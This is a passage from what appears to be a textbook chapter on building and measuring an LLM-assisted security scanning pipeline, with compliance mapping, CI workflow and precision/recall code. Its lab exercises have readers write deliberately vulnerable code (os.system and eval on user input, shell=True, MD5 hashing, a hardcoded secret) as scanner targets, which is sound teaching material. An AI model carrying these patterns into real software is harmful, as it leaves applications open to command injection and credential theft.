        for artifact in artifacts:
            daily = {"date": artifact.timestamp.isoformat()}
            for finding in artifact.findings:
                sev = finding["severity"]
                daily[sev] = daily.get(sev, 0) + 1
            trend.append(daily)
        return trend

    def compliance_report(
        self, standard: str = "OWASP_TOP_10"
    ) -> dict:
        """Generate a compliance report against a standard.

        Maps findings to the specified compliance framework
        and reports coverage gaps.
        """
        owasp_cwe_map = {
            "A01:Broken Access Control": [
                "CWE-22", "CWE-862", "CWE-639"
            ],
            "A02:Cryptographic Failures": [
                "CWE-916", "CWE-327", "CWE-328"
            ],
            "A03:Injection": [
                "CWE-89", "CWE-78", "CWE-79"
            ],
            "A04:Insecure Design": [
                "CWE-306", "CWE-307"
            ],
            "A05:Security Misconfiguration": [
                "CWE-489", "CWE-798"
            ],
            "A06:Vulnerable Components": [
                "CWE-1104"
            ],
            "A07:Auth Failures": [
                "CWE-287", "CWE-384"
            ],
            "A08:Data Integrity Failures": [
                "CWE-502", "CWE-829"
            ],
            "A09:Logging Failures": [
                "CWE-532", "CWE-778"
            ],
            "A10:SSRF": [
                "CWE-918"
            ],
        }

        # Get latest findings
        latest = self.db.query(
            "security_artifacts",
            order_by="-timestamp",
            limit=1
        )
        if not latest:
            return {"standard": standard, "categories": {}}

        finding_cwes = {
            f["cwe"] for f in latest[0].findings
        }

        report = {"standard": standard, "categories": {}}
        for category, cwes in owasp_cwe_map.items():
            matched = finding_cwes & set(cwes)
            report["categories"][category] = {
                "cwes_checked": cwes,
                "cwes_found": list(matched),
                "status": "FINDING" if matched else "CLEAR",
            }
        return report
Listing 20.21: Discovery Workbench integration that stores security artifacts, tracks vulnerability trends over time, and generates Open Worldwide Application Security Project (OWASP) Top 10 compliance reports.
Research Frontier: LLM-Driven Vulnerability Discovery at Scale

The pipeline we built combines static tools with a single LLM review pass, but recent work pushes LLM-based security analysis much further. Google Project Zero's "Big Sleep" system (2024) used an LLM agent to discover a previously unknown, exploitable buffer overflow in SQLite, marking what the researchers described as the first confirmed zero-day vulnerability (one with no existing patch because the vendor has had zero days of advance notice) found autonomously by an AI agent in a widely used open-source project. The accompanying report from Google Project Zero and Google DeepMind, "From Naptime to Big Sleep: Using Large Language Models to Catch Vulnerabilities in Real-World Code" (November 2024), formalized the multi-step agent architecture: the LLM iteratively reads source code, formulates hypotheses about potential flaws, writes and runs targeted test inputs, and refines its analysis based on observed program behavior. Unlike static analysis, this approach reasons about program semantics across function boundaries and can detect vulnerabilities that require understanding multi-step data flows. The frontier challenge is scaling these agent-based approaches to entire codebases (Big Sleep analyzed individual functions), connecting to the autonomous agent architectures discussed in Chapter 9.

6. CI/CD Integration

The pipeline becomes most valuable when it runs automatically on every code change. The following GitHub Actions workflow integrates the security pipeline into a pull request check, blocking merges when critical vulnerabilities are found:

# .github/workflows/security-review.yml
# Automated security review on every pull request.
name: Security Review

on:
  pull_request:
    paths:
      - "app/**"
      - "tests/**"

jobs:
  security-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: "3.11"

      - name: Install dependencies
        run: |
          pip install bandit semgrep anthropic fastapi sqlalchemy
          pip install pytest httpx  # For regression tests

      - name: Run security pipeline
        env:
          ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
        run: |
          python -c "
          from security_pipeline import run_security_review
          import sys
          status = run_security_review('app/')
          if status['status'] == 'fail':
              print(f'BLOCKED: {status[\"critical_count\"]} critical findings')
              sys.exit(1)
          print(f'PASSED: {status[\"findings_count\"]} findings, none critical')
          "

      - name: Run regression tests
        if: always()
        run: pytest security-reports/test_security_regression.py -v

      - name: Upload security report
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: security-report
          path: security-reports/
Listing 20.22: GitHub Actions workflow that runs the security pipeline on pull requests, blocks merges on critical findings, and archives reports as build artifacts.

Real-World Application: GitLab's Multi-Scanner Security Pipeline

GitLab's DevSecOps platform implements exactly this multi-tool pipeline architecture in production. Its "Security Dashboard" aggregates findings from SAST (Semgrep), Dynamic Application Security Testing (DAST) (OWASP ZAP), dependency scanning (formerly Gemnasium, now GitLab's own advisory database), container scanning (Trivy), and secret detection into a single unified view per merge request, using CWE-based deduplication and confidence scoring to collapse overlapping alerts. According to GitLab's internal benchmarks as of 2025, teams using the integrated pipeline typically resolve vulnerabilities roughly 3.5 times faster than teams running each scanner independently, primarily because engineers triage one consolidated list instead of context-switching between five separate dashboards.

Library Shortcut: Snyk, SonarQube, and GitHub Advanced Security

Commercial platforms provide turnkey versions of the pipeline we built from scratch. Snyk combines SAST, dependency scanning, container scanning, and Infrastructure as Code (IaC) scanning in a single CLI with CI/CD integrations. SonarQube provides continuous code quality and security analysis with a web dashboard. GitHub Advanced Security includes CodeQL scanning, secret detection, and Dependabot alerts as native platform features (as of 2024, GitHub has added Copilot Autofix, which uses an LLM to generate pull request fixes for CodeQL findings automatically, bringing LLM-assisted triage into the commercial platform tier). What took us ~500 lines across the pipeline classes, these platforms handle with configuration files. The trade-off: commercial tools are faster to deploy but less customizable. Our from-scratch pipeline supports custom Semgrep rules, LLM-driven triage with tunable prompts, and direct Discovery Workbench integration, all capabilities that require significant effort to replicate in commercial platforms.

7. Measuring Pipeline Effectiveness

Whether you deploy a custom pipeline or adopt a commercial platform, the next step is the same: quantifying how well it actually works.

A security pipeline that produces findings is useful only if those findings are accurate. Two metrics matter: precision (what fraction of reported findings are real vulnerabilities?) and recall (what fraction of real vulnerabilities does the pipeline find?). We can estimate both by running the pipeline against a benchmark with known vulnerabilities:

$$\text{Precision} = \frac{|\text{True Positives}|}{|\text{True Positives}| + |\text{False Positives}|}$$ $$\text{Recall} = \frac{|\text{True Positives}|}{|\text{True Positives}| + |\text{False Negatives}|}$$
"""
Measuring pipeline precision and recall against a benchmark
with known vulnerabilities (ground truth).
"""
from dataclasses import dataclass


@dataclass
class BenchmarkResult:
    true_positives: int   # Real vuln found by pipeline
    false_positives: int  # Non-vuln flagged by pipeline
    false_negatives: int  # Real vuln missed by pipeline
    true_negatives: int   # Non-vuln correctly skipped

    @property
    def precision(self) -> float:
        denom = self.true_positives + self.false_positives
        return self.true_positives / denom if denom else 0.0

    @property
    def recall(self) -> float:
        denom = self.true_positives + self.false_negatives
        return self.true_positives / denom if denom else 0.0

    @property
    def f1_score(self) -> float:
        p, r = self.precision, self.recall
        return 2 * p * r / (p + r) if (p + r) else 0.0


def evaluate_pipeline(
    pipeline_findings: list[dict],
    ground_truth: list[dict]
) -> BenchmarkResult:
    """Compare pipeline findings against ground truth.

    Args:
        pipeline_findings: List of {cwe, file, line} dicts.
        ground_truth: List of {cwe, file, line} dicts for
            known vulnerabilities.

    Returns:
        BenchmarkResult with precision and recall metrics.
    """
    # Normalize to fingerprints for comparison
    def fingerprint(f):
        return f"{f['cwe']}:{f['file']}:{f['line']}"

    found = {fingerprint(f) for f in pipeline_findings}
    known = {fingerprint(f) for f in ground_truth}

    tp = len(found & known)
    fp = len(found - known)
    fn = len(known - found)

    return BenchmarkResult(
        true_positives=tp,
        false_positives=fp,
        false_negatives=fn,
        true_negatives=0,  # Not measurable without full code review
    )


# Example benchmark from our target application
ground_truth = [
    {"cwe": "CWE-89", "file": "app/main.py", "line": 42},   # SQL injection (create)
    {"cwe": "CWE-89", "file": "app/main.py", "line": 52},   # SQL injection (search)
    {"cwe": "CWE-78", "file": "app/main.py", "line": 60},   # Command injection
    {"cwe": "CWE-22", "file": "app/main.py", "line": 71},   # Path traversal
    {"cwe": "CWE-798", "file": "app/main.py", "line": 16},  # Hardcoded credentials
    {"cwe": "CWE-916", "file": "app/main.py", "line": 84},  # Weak hashing
    {"cwe": "CWE-532", "file": "app/main.py", "line": 85},  # Password logging
    {"cwe": "CWE-489", "file": "app/main.py", "line": 14},  # Debug mode
    {"cwe": "CWE-200", "file": "app/main.py", "line": 79},  # Data exposure
]

# Simulated pipeline output (found 8 of 9 real vulns + 1 FP)
pipeline_output = [
    {"cwe": "CWE-89", "file": "app/main.py", "line": 42},
    {"cwe": "CWE-89", "file": "app/main.py", "line": 52},
    {"cwe": "CWE-78", "file": "app/main.py", "line": 60},
    {"cwe": "CWE-22", "file": "app/main.py", "line": 71},
    {"cwe": "CWE-798", "file": "app/main.py", "line": 16},
    {"cwe": "CWE-916", "file": "app/main.py", "line": 84},
    {"cwe": "CWE-532", "file": "app/main.py", "line": 85},
    {"cwe": "CWE-489", "file": "app/main.py", "line": 14},
    # False positive: flagged a safe logging call
    {"cwe": "CWE-532", "file": "app/main.py", "line": 30},
]

result = evaluate_pipeline(pipeline_output, ground_truth)
print(f"Precision: {result.precision:.1%}")
print(f"Recall:    {result.recall:.1%}")
print(f"F1 Score:  {result.f1_score:.1%}")
print(f"\nTrue Positives:  {result.true_positives}")
print(f"False Positives: {result.false_positives}")
print(f"False Negatives: {result.false_negatives}")
Listing 20.23: Evaluating pipeline effectiveness by measuring precision, recall, and F1 score against a benchmark with nine known vulnerabilities.

The pipeline achieves 88.9% precision (8 true positives out of 9 reported findings, with 1 false positive) and 88.9% recall (8 of 9 known vulnerabilities detected). It missed one vulnerability: CWE-200 (data exposure), a logic flaw where the endpoint returns all database columns including internal fields. Even the LLM review can miss this kind of semantic vulnerability if the prompt does not ask about response field filtering. The false positive (CWE-532 on line 30) is a legitimate informational log statement. Bandit flagged it because it contains user-provided data. The LLM triage stage should have downgraded this to INFO severity but did not. Both cases show why continuous pipeline tuning matters: adjusting Semgrep rules, refining LLM prompts, and expanding the benchmark as new vulnerability classes emerge. To maintain accuracy over time, treat the ground truth benchmark as a living artifact: each time your team confirms a new vulnerability or resolves a false positive, add the case to the benchmark and re-evaluate precision and recall so that pipeline improvements are driven by measurement rather than intuition.

Fun Note: The Cost of a Missed Vulnerability

IBM's 2024 Cost of a Data Breach Report puts the average cost of a data breach at \$4.88 million. The Ponemon Institute estimates that a vulnerability found during development costs \$80 to fix, while the same vulnerability found in production costs \$7,600, a 95x multiplier. Our security pipeline runs in under five minutes per pull request and costs approximately \$0.15 in LLM API calls (one threat model generation, one code review, and one triage pass). At that price, the pipeline pays for itself if it catches even one vulnerability per year that would otherwise reach production. The math is not subtle.

Try It: Build a Mini Security Scanner in 30 Minutes

You can build a simplified version of this section's pipeline using only Python's standard library plus Bandit. Follow these steps:

1. Create a file called vulnerable_app.py containing two or three intentional flaws: an os.system() call that takes user input (CWE-78), a hardcoded password string (CWE-798), and an eval() on untrusted data (CWE-95). Keep it short (under 30 lines).

2. Install Bandit (pip install bandit) and run it in JSON mode: bandit -f json -o bandit_results.json vulnerable_app.py. Open the JSON output and note the structure: each finding has test_id, issue_severity, line_number, and issue_text.

3. Write a Python script called normalize.py that reads bandit_results.json, extracts each finding, and converts it into a dictionary with keys {"cwe", "severity", "file", "line", "title"}. Use a hardcoded mapping from Bandit test IDs to CWE numbers (e.g., B602 to CWE-78, B105 to CWE-798, B307 to CWE-95).

4. Add a deduplication step: compute a fingerprint for each finding as f"{cwe}:{file}:{line}" and remove entries that share a fingerprint. Print the count of duplicates removed (for this small example it will likely be zero, but the logic will matter when you add more tools later).

5. Generate a summary report that prints the total finding count, groups findings by severity, and writes the normalized findings to report.json. Run the full script end to end and verify that every intentional flaw in your vulnerable_app.py appears in the report. Then try fixing one flaw (replace os.system() with subprocess.run() using a list argument), rerun, and confirm the finding disappears.

Lab: Measure Your Pipeline's Precision and Recall

Goal: Build a minimal security pipeline, run it against a file with known vulnerabilities, and compute precision, recall, and F1 score.
Tools needed: Python 3.10+, pip install bandit semgrep, a text editor.
Setup (5 min): Create a file target.py containing exactly five intentional flaws: (1) os.system(user_input) (CWE-78), (2) eval(user_input) (CWE-95), (3) hashlib.md5(password) (CWE-916), (4) SECRET_KEY = "hunter2" (CWE-798), (5) subprocess.run(cmd, shell=True) (CWE-78). Record these five as your ground truth with CWE, file, and line number.
Run (10 min): Execute bandit -f json target.py and semgrep --config auto target.py --json. Parse both JSON outputs, normalize each finding to {cwe, file, line}, and deduplicate using the fingerprint method from this section.
What to vary: (a) Try removing one flaw and rerunning to confirm the finding disappears. (b) Add a safe hashlib.sha256() call and check whether either tool false-positives on it. (c) Add a Semgrep custom rule targeting eval() and see whether the deduplication correctly merges it with the Bandit finding.
What to observe: Compute precision, recall, and F1 after each variation. Notice how adding a second tool (Semgrep) changes recall (it may catch flaws Bandit misses) but can also change precision (it may introduce new false positives). Record which tool found which flaw to see where their coverage overlaps and where it diverges.

Exercises

Exercise 20.3.1 (Conceptual): The pipeline uses fingerprinting (CWE + file + line) for deduplication. Describe a scenario where this fingerprinting produces a false merge (two genuinely different vulnerabilities collapsed into one) or a false split (the same vulnerability reported as two distinct findings). Propose an improved fingerprinting scheme that handles your scenario correctly.

Exercise 20.3.2 (Coding): Extend the SecurityPipeline class with a _run_dependency_audit stage that checks requirements.txt or pyproject.toml for packages with known Common Vulnerabilities and Exposures (CVEs) using the pip-audit tool. Normalize the findings into UnifiedFinding objects with appropriate CWE mappings. Run your extended pipeline against a requirements.txt that includes requests==2.25.0 (which has a known Server-Side Request Forgery (SSRF) vulnerability) and verify that the finding appears in the report.

Exercise 20.3.3 (Analysis): The LLM triage stage (Stage 4b) adjusts severity based on exploitability. Design a prompt engineering experiment to measure the accuracy of LLM severity triage. Create a benchmark of 20 findings with known correct severities, run the triage prompt with three different LLM temperatures (0.0, 0.5, 1.0), and report the agreement rate (percentage of findings where the LLM's adjusted severity matches the ground truth). What does the result tell you about the appropriate temperature for security triage?